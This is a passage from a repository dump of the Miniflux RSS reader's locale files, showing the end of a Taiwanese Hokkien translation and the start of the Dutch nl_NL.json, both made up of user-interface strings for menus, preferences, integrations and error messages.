\"Pó-chûn siau-sit kàu Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API só-sî\",\n    \"form.integration.omnivore_url\": \"Omnivore API thâu\",\n    \"form.integration.pinboard_activate\": \"Pó-chûn siau-sit kàu Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Chù chòe ah-bōe tha̍k\",\n    \"form.integration.pinboard_tags\": \"Pinboard khan-á\",\n    \"form.integration.pinboard_token\": \"Pinboard API tō͘-khíng\",\n    \"form.integration.pushover_activate\": \"Pó-chûn siau-sit kàu Pushover\",\n    \"form.integration.pushover_device\": \"Pushover ki-hì (soán thiⁿ)\",\n    \"form.integration.pushover_prefix\": \"Pushover URL tó͘-bí (soán thiⁿ)\",\n    \"form.integration.pushover_token\": \"Pushover application API só-sî\",\n    \"form.integration.pushover_user\": \"Pushover sú-iōng-lâng só-sî\",\n    \"form.integration.raindrop_activate\": \"Pó-chûn siau-sit kàu Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Sò͘-tē ID\",\n    \"form.integration.raindrop_tags\": \"Khan-á (iōng tō͘-tiám keh khui)\",\n    \"form.integration.raindrop_token\": \"Raindrop thè-khui só-sî\",\n    \"form.integration.readeck_activate\": \"Pó-chûn siau-sit kàu Readeck\",\n    \"form.integration.readeck_api_key\": \"Readeck API só-sî\",\n    \"form.integration.readeck_endpoint\": \"Readeck API thâu\",\n    \"form.integration.readeck_labels\": \"Readeck khan-á\",\n    \"form.integration.readeck_only_url\": \"Kan-na thoân bāng-chí (m̄ sī oân-chéng ê lōe-iông)\",\n    \"form.integration.readeck_push_activate\": \"Sin siau-sit thàn-lâi chūi-tō͘ thui kàu Readeck\",\n    \"form.integration.readwise_activate\": \"Pó-chûn siau-sit kàu Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader thè-khui só-sî\",\n    \"form.integration.readwise_api_key_link\": \"Chhú-tek lí ê Readwise thè-khui só-sî\",\n    \"form.integration.rssbridge_activate\": \"Sin cheng-ka siau-sit lâi-goân ê sî tio̍h RSS-Bridge\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge chheng-bêng só-sî\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge su-hāu-khì ê bāng-chí\",\n    \"form.integration.shaarli_activate\": \"Pó-chûn siau-sit kàu Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API só-sî\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli bāng-chí\",\n    \"form.integration.shiori_activate\": \"Pó-chûn siau-sit kàu Shiori\",\n    \"form.integration.shiori_endpoint\": \"Shiori API thâu\",\n    \"form.integration.shiori_password\": \"Shiori bi̍t-bé\",\n    \"form.integration.shiori_username\": \"Shiori kháu-chō miâ\",\n    \"form.integration.slack_activate\": \"Thui-sàng siau-sit kàu Slack\",\n    \"form.integration.slack_webhook_link\": \"Slack Webhook liân-kiat\",\n    \"form.integration.telegram_bot_activate\": \"Thui-sàng siau-sit kàu Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Mài hián-sī khai-koan\",\n    \"form.integration.telegram_bot_disable_notification\": \"Têng iōng thong-ti\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Thêng iōng bāng-ia̍h ū-lám\",\n    \"form.integration.telegram_bot_token\": \"Bot Token\",\n    \"form.integration.telegram_chat_id\": \"Lîn-lūn ID\",\n    \"form.integration.telegram_topic_id\": \"Siōng-tê ID\",\n    \"form.integration.wallabag_activate\": \"Pó-chûn siau-sit kàu Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Wallabag kheh-hō͘ thâu ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag kheh-hō͘ thâu só-sî\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag ki-kiân bāng-chí\",\n    \"form.integration.wallabag_only_url\": \"Kan-na thoân bāng-chí (m̄ sī oân-chéng ê lōe-iông)\",\n    \"form.integration.wallabag_password\": \"Wallabag bi̍t-bé\",\n    \"form.integration.wallabag_username\": \"Wallabag kháu-chō miâ\",\n    \"form.integration.wallabag_tags\": \"Wallabag khan-á\",\n    \"form.integration.webhook_activate\": \"Khai-sí Webhooks\",\n    \"form.integration.webhook_secret\": \"Webhooks bí-miâ\",\n    \"form.integration.webhook_url\": \"Koán-tē Webhook bāng-chí\",\n    \"form.prefs.fieldset.application_settings\": \"Èng-iōng thêng-sek siat-tēng\",\n    \"form.prefs.fieldset.authentication_settings\": \"Sú-iōng-lâng giām-chèng siat-tēng\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Choân-he̍k siau-sit lâi-goân siat-tēng\",\n    \"form.prefs.fieldset.reader_settings\": \"Ia̍t-tha̍k khì siat-tēng\",\n    \"form.prefs.help.external_font_hosts\": \"Iōng khang-keh keh khui ún-chún ê gōa-pō͘ lī-hêng lâi-goân. Phì-lû \\\"fonts.gstatic.com fonts.googleapis.com\\\"\",\n    \"form.prefs.label.always_open_external_links\": \"Chhiau-chhē bûn-chiong sī iōng gōa-pō͘ liân-kiat phah khui\",\n    \"form.prefs.label.categories_sorting_order\": \"Lūi-pia̍t hián-sī sūn-sū\",\n    \"form.prefs.label.cjk_reading_speed\": \"Tiong-bûn, Hân-bûn, Li̍t-bûn tha̍k ê sok-tō͘ (múi hun-cheng ē-sái tha̍k kúi ê lī-goân)\",\n    \"form.prefs.label.custom_css\": \"Chū tēng ê CSS\",\n    \"form.prefs.label.custom_js\": \"Chū tēng ê JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Ū-siat chú-ia̍h\",\n    \"form.prefs.label.default_reading_speed\": \"Kî-thaⁿ gú-giân tha̍k ê sok-tō͘ (múi hun-cheng ē-sái tha̍k kúi ê lī)\",\n    \"form.prefs.label.display_mode\": \"Chiām-chìn sek bāng-lō͘ èng-iōng theng-sek (PWA) ê hián-sī bô͘-sek\",\n    \"form.prefs.label.entries_per_page\": \"Ta̍k ia̍h siau-sit sò͘\",\n    \"form.prefs.label.entry_order\": \"Siau-sit hián-sī sūn-sū ê i-kù\",\n    \"form.prefs.label.entry_sorting\": \"Siau-sit sūn-sū\",\n    \"form.prefs.label.entry_swipe\": \"Ē-sái tī chhiok-khòng sek êng-bō͘ ùi siau-sit iōng thoa tāng chhau-chok\",\n    \"form.prefs.label.external_font_hosts\": \"Gōa-pō͘ lī-hêng lâi-goân\",\n    \"form.prefs.label.gesture_nav\": \"Tī siau-sit kan sóa-ūi ê chhiú-sè\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Ē-sái iōng khí-pôaⁿ khoài-sok khí\",\n    \"form.prefs.label.language\": \"Gú-giân\",\n    \"form.prefs.label.mark_read_manually\": \"Ka-kī chhau-chok kám beh chù chòe tha̍k kè\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Kan-na tī im-sìn, sī-sìn hòng-sàng kàu 90%% ê si-chun chù chòe tha̍k kè\",\n    \"form.prefs.label.mark_read_on_view\": \"Phah khui ê sî-chūn sūn-sòa kā siau-sit chù chòe tha̍k kè\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Phah khui ê sî-chūn sūn-sòa kā siau-sit chù chòe tha̍k kè, m̄-koh nā-sī im-sìn, sī-sìn tio̍h tī hòng-sàng kàu 90%% ê si-chun chiah lâi chù\",\n    \"form.prefs.label.media_playback_rate\": \"Im-sìn, sī-sìn pàng ê sok-tō͘\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Chhiau-chhē gōa-pō͘ liân-kiat sī tī sin ê ia̍h phah khui (kā liân-kiat chhē target=\\\"_blank\\\")\",\n    \"form.prefs.label.show_reading_time\": \"Hián-sī siau-sit àn-sǹg ài gōa-kú lâi tha̍k\",\n    \"form.prefs.label.theme\": \"Chú-tôe\",\n    \"form.prefs.label.timezone\": \"Sî-khu\",\n    \"form.prefs.select.alphabetical\": \"Chiàu lī-bú pâi\",\n    \"form.prefs.select.browser\": \"Iû-lâm-khì\",\n    \"form.prefs.select.created_time\": \"Siau-sit kiàn-li̍p sî-kan\",\n    \"form.prefs.select.fullscreen\": \"Choân êng-bō͘\",\n    \"form.prefs.select.minimal_ui\": \"Siōng sió UI\",\n    \"form.prefs.select.none\": \"Bô\",\n    \"form.prefs.select.older_first\": \"Ùi kū--ê khai-sí pâi\",\n    \"form.prefs.select.publish_time\": \"Siau-sit hoat-pò͘ sî-kan\",\n    \"form.prefs.select.recent_first\": \"Ùi sin--ê khai-sí pâi\",\n    \"form.prefs.select.standalone\": \"To̍k-li̍p--ê\",\n    \"form.prefs.select.swipe\": \"Iōng thoa--ê\",\n    \"form.prefs.select.tap\": \"Tiám nn̄g pái\",\n    \"form.prefs.select.unread_count\": \"Ah-bōe tha̍k ê sò͘-liōng\",\n    \"form.submit.loading\": \"Tng leh chip-hêng…\",\n    \"form.submit.saving\": \"Tng leh pó-chûn…\",\n    \"form.user.label.admin\": \"Koán-lí-lâng\",\n    \"form.user.label.confirmation\": \"Koh su-li̍p chi̍t pái bi̍t-bé\",\n    \"form.user.label.password\": \"Bi̍t-bé\",\n    \"form.user.label.username\": \"Kháu-chō miâ\",\n    \"menu.about\": \"Iú-koan\",\n    \"menu.add_feed\": \"Sin cheng-ka siau-sit lâi-goân\",\n    \"menu.add_user\": \"Sin cheng-ka sú-iōng-lâng\",\n    \"menu.api_keys\": \"API só-sî\",\n    \"menu.categories\": \"Lūi-pia̍t\",\n    \"menu.create_api_key\": \"Sin cheng-ka chi̍t ê API só-sî\",\n    \"menu.create_category\": \"Sin cheng-ka lūi-pia̍t\",\n    \"menu.edit_category\": \"Pian-chi̍p\",\n    \"menu.edit_feed\": \"Pian-chi̍p\",\n    \"menu.export\": \"Hōe--chhut\",\n    \"menu.feed_entries\": \"Bûn-chiong\",\n    \"menu.feeds\": \"Siau-sit lâi-goân\",\n    \"menu.flush_history\": \"Hìⁿ-sak kì-lo̍k\",\n    \"menu.history\": \"Kì-lo̍k\",\n    \"menu.home_page\": \"Siú ia̍h\",\n    \"menu.import\": \"Hōe--li̍p\",\n    \"menu.integrations\": \"Chéng-ha̍p\",\n    \"menu.logout\": \"Teng-chhut\",\n    \"menu.mark_all_as_read\": \"Choân-pō͘ chù chòe tha̍k kè\",\n    \"menu.mark_page_as_read\": \"Kā chit ia̍h--ê lóng chù chòe tha̍k kè\",\n    \"menu.preferences\": \"Siat-tēng\",\n    \"menu.refresh_all_feeds\": \"Tī pōe-āu têng lia̍h só͘-ū ê siau-sit lâi-goân\",\n    \"menu.refresh_feed\": \"Têng lia̍h\",\n    \"menu.search\": \"Chhiau-chhē\",\n    \"menu.sessions\": \"Ū teng-lo̍k--ê\",\n    \"menu.settings\": \"Siat-tēng\",\n    \"menu.shared_entries\": \"Hun-hióng kè ê siau-sit\",\n    \"menu.show_all_entries\": \"Hián-sī só͘-ū ê siau-sit\",\n    \"menu.show_only_starred_entries\": \"Kan-na hián-sī siu-chông ê siau-sit\",\n    \"menu.show_only_unread_entries\": \"Kan-na hián-sī ah-bōe tha̍k kè ê siau-sit\",\n    \"menu.starred\": \"Siu-chông\",\n    \"menu.title\": \"Tō-lám\",\n    \"menu.unread\": \"Ah-bōe tha̍k\",\n    \"menu.users\": \"Sú-iōng-lâng\",\n    \"page.about.author\": \"Chok-chiá: \",\n    \"page.about.build_date\": \"Kiàn-tì li̍t-kî:\",\n    \"page.about.credits\": \"Pán-koân\",\n    \"page.about.db_usage\": \"Database chhài-chhiú:\",\n    \"page.about.git_commit\": \"Git commit:\",\n    \"page.about.global_config_options\": \"Choân-he̍k siat-tēng soán-hāng\",\n    \"page.about.go_version\": \"Go pán-pún:\",\n    \"page.about.license\": \"Pàng-koân:\",\n    \"page.about.postgres_version\": \"Postgres pán-pún:\",\n    \"page.about.title\": \"Iú-koan\",\n    \"page.about.version\": \"Pán-pún:\",\n    \"page.add_feed.choose_feed\": \"Soán-te̍k chi̍t ê Siau-sit lâi-goân\",\n    \"page.add_feed.label.url\": \"Bāng-chí\",\n    \"page.add_feed.legend.advanced_options\": \"Chìn-kai soán-hāng\",\n    \"page.add_feed.no_category\": \"Ah bô lūi-pia̍t, chì-chió ài ū chi̍t ê\",\n    \"page.add_feed.submit\": \"Chhē Siau-sit lâi-goân\",\n    \"page.add_feed.title\": \"Sin cheng-ka Siau-sit lâi-goân\",\n    \"page.api_keys.never_used\": \"Bô iōng kè\",\n    \"page.api_keys.table.actions\": \"Chhau-chok\",\n    \"page.api_keys.table.created_at\": \"Kiàn-tì li̍t-kî\",\n    \"page.api_keys.table.description\": \"Biâu-su̍t\",\n    \"page.api_keys.table.last_used_at\": \"Siōng-bóe pái sú-iōng\",\n    \"page.api_keys.table.token\": \"Só-sî\",\n    \"page.api_keys.title\": \"API só-sî\",\n    \"page.categories.entries\": \"Siau-sit\",\n    \"page.categories.feed_count\": [\n        \"Ū %d ê Siau-sit lâi-goân\"\n    ],\n    \"page.categories.feeds\": \"Siau-sit lâi-goân\",\n    \"page.categories.no_feed\": \"Ah-bô siau-sit lâi-goân\",\n    \"page.categories.title\": \"Lūi-pia̍t\",\n    \"page.categories_count\": [\n        \"%d ê lūi-pia̍t\"\n    ],\n    \"page.category_label\": \"Lūi-pia̍t: %s\",\n    \"page.edit_category.title\": \"Pian-chi̍p lūi-pia̍t: %s\",\n    \"page.edit_feed.etag_header\": \"ETag piau-thâu:\",\n    \"page.edit_feed.last_check\": \"Siōng-bóe pái kiám-cha sî-kan\",\n    \"page.edit_feed.last_modified_header\": \"Siōng-bóe pái siu-kái piau-thâu:\",\n    \"page.edit_feed.last_parsing_error\": \"Siōng-bóe pái kái-sek m̄-tio̍h\",\n    \"page.edit_feed.no_header\": \"Bô\",\n    \"page.edit_feed.title\": \"Pian-chi̍p Siau-sit lâi-goân: %s\",\n    \"page.edit_user.title\": \"pian-chi̍p sú-iōng-lâng: %s\",\n    \"page.entry.attachments\": \"Hù-kiāⁿ\",\n    \"page.feeds.error_count\": [\n        \"%d ê m̄-tio̍h\"\n    ],\n    \"page.feeds.last_check\": \"Siōng-bóe kiám-cha sî-kan:\",\n    \"page.feeds.next_check\": \"Āu-pái kiám-cha sî-kan:\",\n    \"page.feeds.read_counter\": \"Tha̍k kè--ê siau-sit sò͘\",\n    \"page.feeds.title\": \"Siau-sit lâi-goân\",\n    \"page.footer.elevator\": \"Thâu-tiō siōng-ló͘\",\n    \"page.history.title\": \"Kì-lo̍k\",\n    \"page.import.title\": \"Hōe-li̍p\",\n    \"page.integration.bookmarklet\": \"Chheh-chhiam ke-si\",\n    \"page.integration.bookmarklet.help\": \"Lí ē-sái iōng chit ê te̍k-pia̍t ê chheh-chhiam ti̍t-chiap tēng bāng-ia̍h ê siau-sit\",\n    \"page.integration.bookmarklet.instructions\": \"Kā chit ê liân-kiat thoa khì iû-lám khì ê chheh-chhiam lân\",\n    \"page.integration.bookmarklet.name\": \"Siu-chông Miniflux\",\n    \"page.integration.miniflux_api\": \"Miniflux ê API\",\n    \"page.integration.miniflux_api_endpoint\": \"API thâu\",\n    \"page.integration.miniflux_api_password\": \"Bi̍t-bé\",\n    \"page.integration.miniflux_api_password_value\": \"Lí ê kháu-chō ê bi̍t-bé\",\n    \"page.integration.miniflux_api_username\": \"Kháu-chō miâ\",\n    \"page.integrations.title\": \"Chéng-ha̍p\",\n    \"page.keyboard_shortcuts.close_modal\": \"Kìm tiāu tùi-ōe thang\",\n    \"page.keyboard_shortcuts.download_content\": \"Liah goân-tóe ê siau-sit lōe-iông\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Sóa khì thōng ē-kha ê siau-sit\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Phah khui lūi-pia̍t ia̍h\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Khì siau-sit lâi-goân\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Phah khui siau-sit lâi-goân ia̍h\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Phah khui kì-lo̍k ia̍h\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Āu-chi̍t ê siau-sit\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Āu-chi̍t ia̍h\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Téng-chi̍t ê siau-sit\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Téng-chi̍t ia̍h\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Phah khui chhiau-chhē ia̍h\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Phah khui siat-tēng ia̍h\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Phah khui siu-chông--ê ia̍h\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Sóa khì thōng téng-koân ê siau-sit\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Phah khui ah-bōe tha̍k--ê ia̍h\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Kā chit ia̍h--ê lóng chù chòe tha̍k--kè\",\n    \"page.keyboard_shortcuts.open_comments\": \"Phah khui hôe-èng liân-kiat\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Tī chit-má ê hun-ia̍h phah khui hôe-èng liân-kiat\",\n    \"page.keyboard_shortcuts.open_item\": \"Phah khui soán-te̍k ê siau-sit\",\n    \"page.keyboard_shortcuts.open_original\": \"Phah khui siau-sit goân-tóe ê liân-kiat\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Tī chit-má ê hun-ia̍h phah khui siau-sit goân-tóe ê liân-kiat\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Tī pōe-āu ōaⁿ-sin siau-sit lâi-goân\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Thâi tiāu siau-sit lâi-goân\",\n    \"page.keyboard_shortcuts.save_article\": \"Pó-chûn siau-sit\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Sóa khì bāng-ia̍h siōng téng-koân\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Hián-sī khoài-sok khí\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Chhau-chok\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Bûn-chiong tō-lám\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Ia̍h bīn tō-lám\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Hun lân tō-lám\",\n    \"page.keyboard_shortcuts.title\": \"Khoài-sok khí\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Chhet-li̍p siu-chông chōng-thài\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Chhet-li̍p thián khui kah siu-ha̍p siau-sit hù-kiāⁿ ê chōng-thài\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Chhet-li̍p tha̍k--kè, ah-bōe tha̍k ê chōng-thài, koh chiau-tiám tī āu-chi̍t--ê\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Chhet-li̍p tha̍k--kè, ah-bōe tha̍k ê chōng-thài, koh chiau-tiám tī téng-chi̍t--ê\",\n    \"page.login.google_signin\": \"Sú-iōng Google teng-lo̍k\",\n    \"page.login.oidc_signin\": \"Sú-iōng %s teng-lo̍k\",\n    \"page.login.title\": \"teng-lo̍k\",\n    \"page.login.webauthn_login\": \"Sú-iōng bi̍t-bé teng-lo̍k\",\n    \"page.login.webauthn_login.error\": \"Bô-hoat-tō͘ iōng bi̍t-bé teng-lo̍k\",\n    \"page.login.webauthn_login.help\": \"Sú-iōng an-choân só-sî teng-lo̍k ê sî-chūn, chhiáⁿ su-li̍p kháu-chō miâ. Nā-sī iōng thang chhiau-chhē ê Passkey (discoverable credentials) tio̍h bián.\",\n    \"page.new_api_key.title\": \"Sin ê API só-sî\",\n    \"page.new_category.title\": \"Sin lūi-pia̍t\",\n    \"page.new_user.title\": \"Sin sú-iōng-lâng\",\n    \"page.offline.message\": \"Lí í-keng lî-sòaⁿ\",\n    \"page.offline.refresh_page\": \"Chhì-khòaⁿ-māi têng tha̍k bāng-ia̍h\",\n    \"page.offline.title\": \"Lî-sòaⁿ bô͘-sek\",\n    \"page.read_entry_count\": [\n        \"%d ê tha̍k kè ê siau-sit\"\n    ],\n    \"page.search.title\": \"Chhiau-chhē kiat-kó\",\n    \"page.sessions.table.actions\": \"Chhau-chok\",\n    \"page.sessions.table.current_session\": \"Chit-má teng-lo̍k--ê\",\n    \"page.sessions.table.date\": \"Li̍t-kî\",\n    \"page.sessions.table.ip\": \"IP tōe-chí\",\n    \"page.sessions.table.user_agent\": \"Sú-iōng-lâng tāi-lí\",\n    \"page.sessions.title\": \"Ū teng-lo̍k--ê\",\n    \"page.settings.link_google_account\": \"Kah góa ê  Google kháu-chō kiat chòe-hé\",\n    \"page.settings.link_oidc_account\": \"Kah góa ê %s kháu-chō kiat chòe-hé\",\n    \"page.settings.title\": \"Siat-tēng\",\n    \"page.settings.unlink_google_account\": \"Phah khui kah góa ê Google kháu-chō ê kiat\",\n    \"page.settings.unlink_oidc_account\": \"Phah khui kah góa ê %s kháu-chō ê kiat\",\n    \"page.settings.webauthn.actions\": \"Chhau-chok\",\n    \"page.settings.webauthn.added_on\": \"Sin cheng-ka ê sî-kan\",\n    \"page.settings.webauthn.delete\": [\n        \"Thâi tiāu %d ê Passkey\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Siōng-bóe pái sú-iōng sî-kan\",\n    \"page.settings.webauthn.passkey_name\": \"Passkey miâ\",\n    \"page.settings.webauthn.passkeys\": \"Passkeys\",\n    \"page.settings.webauthn.register\": \"Chù-chheh Passkey\",\n    \"page.settings.webauthn.register.error\": \"Bô-hoat-tō͘ chù-chheh Passkey\",\n    \"page.shared_entries.title\": \"Hun-hióng kè ê siau-sit\",\n    \"page.shared_entries_count\": [\n        \"Í-keng hun-hióng %d ê siau-sit\"\n    ],\n    \"page.starred.title\": \"Siu-chông\",\n    \"page.starred_entry_count\": [\n        \"%d ê siu-chông ê siau-sit\"\n    ],\n    \"page.total_entry_count\": [\n        \"Lóng-chóng %d ê siau-sit\"\n    ],\n    \"page.unread.title\": \"Ah-bōe tha̍k\",\n    \"page.unread_entry_count\": [\n        \"%d ê siau-sit ah-bōe tha̍k\"\n    ],\n    \"page.users.actions\": \"chhau-chok\",\n    \"page.users.admin.no\": \"Hóⁿ\",\n    \"page.users.admin.yes\": \"Sī\",\n    \"page.users.is_admin\": \"Koán-lí-lâng\",\n    \"page.users.last_login\": \"Siōng-bóe pái teng-lo̍k\",\n    \"page.users.never_logged\": \"Chū-lâi bô teng-lo̍k kè\",\n    \"page.users.title\": \"Sú-iōng-lâng\",\n    \"page.users.username\": \"Sú-iōng-lâng miâ\",\n    \"page.webauthn_rename.title\": \"Tiông-sin hō͘ miâ Passkey\",\n    \"pagination.first\": \"Thâu-chi̍t ia̍h\",\n    \"pagination.last\": \"Siōng-bóe ia̍h\",\n    \"pagination.next\": \"Āu-chi̍t ia̍h\",\n    \"pagination.previous\": \"Téng-chi̍t ia̍h\",\n    \"search.label\": \"Chhiau-chhē\",\n    \"search.placeholder\": \"Chhiau-chhē...\",\n    \"search.submit\": \"Chhiau-chhē\",\n    \"skip_to_content\": \"Thiaⁿ--khì chhòng-bûn\",\n    \"time_elapsed.days\": [\n        \"%d kang chêng\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d tiám-cheng chêng\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d hun-cheng chêng\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d kò ge̍h chêng\"\n    ],\n    \"time_elapsed.not_yet\": \"ah-bōe\",\n    \"time_elapsed.now\": \"tú-chiah\",\n    \"time_elapsed.weeks\": [\n        \"%d lé-pài chêng\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d nî chêng\"\n    ],\n    \"time_elapsed.yesterday\": \"cha-hng\",\n    \"tooltip.keyboard_shortcuts\": \"Khoài-sok khí：%s\",\n    \"tooltip.logged_user\": \"Chit-má teng-lo̍k--ê:  %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/nl_NL.json",
    "content": "{\n    \"action.cancel\": \"annuleren\",\n    \"action.download\": \"Downloaden\",\n    \"action.edit\": \"Bewerken\",\n    \"action.home_screen\": \"Toevoegen aan startscherm\",\n    \"action.import\": \"Importeren\",\n    \"action.login\": \"Inloggen\",\n    \"action.or\": \"of\",\n    \"action.remove\": \"Verwijderen\",\n    \"action.remove_feed\": \"Verwijder deze feed\",\n    \"action.save\": \"Opslaan\",\n    \"action.subscribe\": \"Abonneren\",\n    \"action.update\": \"Bijwerken\",\n    \"alert.account_linked\": \"Jouw externe account is nu gekoppeld!\",\n    \"alert.account_unlinked\": \"Jouw externe account is nu ontkoppeld!\",\n    \"alert.background_feed_refresh\": \"Alle feeds worden op de achtergrond vernieuwd. Je kunt Miniflux blijven gebruiker terwijl dit proces draait.\",\n    \"alert.feed_error\": \"Er is een probleem met deze feed\",\n    \"alert.no_starred\": \"Er zijn geen favorieten.\",\n    \"alert.no_category\": \"Er zijn geen categorieën.\",\n    \"alert.no_category_entry\": \"Er zijn geen artikelen in deze categorie.\",\n    \"alert.no_feed\": \"Je hebt nog geen feed geabonneerd.\",\n    \"alert.no_feed_entry\": \"Er zijn geen artikelen in deze feed.\",\n    \"alert.no_feed_in_category\": \"Er is geen feed voor deze categorie.\",\n    \"alert.no_history\": \"Geschiedenis is op dit moment leeg.\",\n    \"alert.no_search_result\": \"Er is geen resultaat voor deze zoekopdracht.\",\n    \"alert.no_shared_entry\": \"Er is geen gedeeld artikel.\",\n    \"alert.no_tag_entry\": \"Er zijn geen artikelen die overeenkomen met deze tag.\",\n    \"alert.no_unread_entry\": \"Er zijn geen ongelezen artikelen.\",\n    \"alert.no_user\": \"Je bent de enige gebruiker.\",\n    \"alert.prefs_saved\": \"Instellingen opgeslagen!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Je hebt te veel feed-vernieuwingen getriggered. Wacht aub %d minuut voor opnieuw proberen.\",\n        \"Je hebt te veel feed-vernieuwingen getriggered. Wacht aub %d minuten voor opnieuw proberen.\"\n    ],\n    \"confirm.loading\": \"Bezig...\",\n    \"confirm.no\": \"nee\",\n    \"confirm.question\": \"Weet je het zeker?\",\n    \"confirm.question.refresh\": \"Wil je vernieuwen forceren?\",\n    \"confirm.yes\": \"ja\",\n    \"enclosure_media_controls.seek\": \"Vooruit/terug:\",\n    \"enclosure_media_controls.seek.title\": \" Vooruit/terug met %s seconden\",\n    \"enclosure_media_controls.speed\": \"Snelheid:\",\n    \"enclosure_media_controls.speed.faster\": \"Versnel\",\n    \"enclosure_media_controls.speed.faster.title\": \"Versnel met %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Resetten\",\n    \"enclosure_media_controls.speed.reset.title\": \"Reset snelheid naar 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Vertraag\",\n    \"enclosure_media_controls.speed.slower.title\": \"Vertraag met %sx\",\n    \"entry.starred.toast.off\": \"Favoriet verwijderd\",\n    \"entry.starred.toast.on\": \"Favoriet toegevoegd\",\n    \"entry.starred.toggle.off\": \"Favoriet verwijderen\",\n    \"entry.starred.toggle.on\": \"Favoriet\",\n    \"entry.comments.label\": \"Reacties\",\n    \"entry.comments.title\": \"Bekijk reacties\",\n    \"entry.estimated_reading_time\": [\n        \"%d minuut leestijd\",\n        \"%d minuten leestijd\"\n    ],\n    \"entry.external_link.label\": \"Externe link\",\n    \"entry.save.completed\": \"Klaar!\",\n    \"entry.save.label\": \"Opslaan\",\n    \"entry.save.title\": \"Artikel opslaan\",\n    \"entry.save.toast.completed\": \"Artikel opgeslagen\",\n    \"entry.scraper.completed\": \"Klaar!\",\n    \"entry.scraper.label\": \"Downloaden\",\n    \"entry.scraper.title\": \"Originele inhoud ophalen\",\n    \"entry.share.label\": \"Delen\",\n    \"entry.share.title\": \"Deel dit artikel\",\n    \"entry.shared_entry.label\": \"Delen\",\n    \"entry.shared_entry.title\": \"Open de openbare link\",\n    \"entry.state.loading\": \"Laden...\",\n    \"entry.state.saving\": \"Opslaan...\",\n    \"entry.status.mark_as_read\": \"Markeren als gelezen\",\n    \"entry.status.mark_as_unread\": \"Markeren als ongelezen\",\n    \"entry.status.title\": \"Verander artikelstatus\",\n    \"entry.status.toast.read\": \"Gemarkeerd als gelezen\",\n    \"entry.status.toast.unread\": \"Gemarkeerd als ongelezen\",\n    \"entry.tags.label\": \"Labels:\",\n    \"entry.tags.more_tags_label\": [\n        \"Toon %d extra tag\",\n        \"Toon %d extra tags\"\n    ],\n    \"entry.unshare.label\": \"Delen ongedaan maken\",\n    \"error.api_key_already_exists\": \"Deze API-sleutel bestaat al.\",\n    \"error.bad_credentials\": \"Onjuiste gebruikersnaam of wachtwoord.\",\n    \"error.category_already_exists\": \"Deze categorie bestaat al.\",\n    \"error.category_not_found\": \"Deze categorie bestaat niet of hoort niet bij deze gebruiker.\",\n    \"error.database_error\": \"Database fout: %v.\",\n    \"error.different_passwords\": \"Wachtwoorden zijn niet hetzelfde.\",\n    \"error.duplicate_fever_username\": \"Er is al iemand met dezelfde Fever gebruikersnaam!\",\n    \"error.duplicate_googlereader_username\": \"Er is al iemand met dezelfde Google Reader gebruikersnaam!\",\n    \"error.duplicate_linked_account\": \"Er is al iemand geregistreerd met deze provider!\",\n    \"error.duplicated_feed\": \"Deze feed bestaat al.\",\n    \"error.empty_file\": \"Dit bestand is leeg.\",\n    \"error.entries_per_page_invalid\": \"Het aantal artikelen per pagina is niet geldig.\",\n    \"error.feed_already_exists\": \"Deze feed bestaat al.\",\n    \"error.feed_category_not_found\": \"Deze categorie bestaat niet of behoort niet tot deze gebruiker.\",\n    \"error.feed_format_not_detected\": \"Feed-formaat kan niet worden gedetecteerd: %v.\",\n    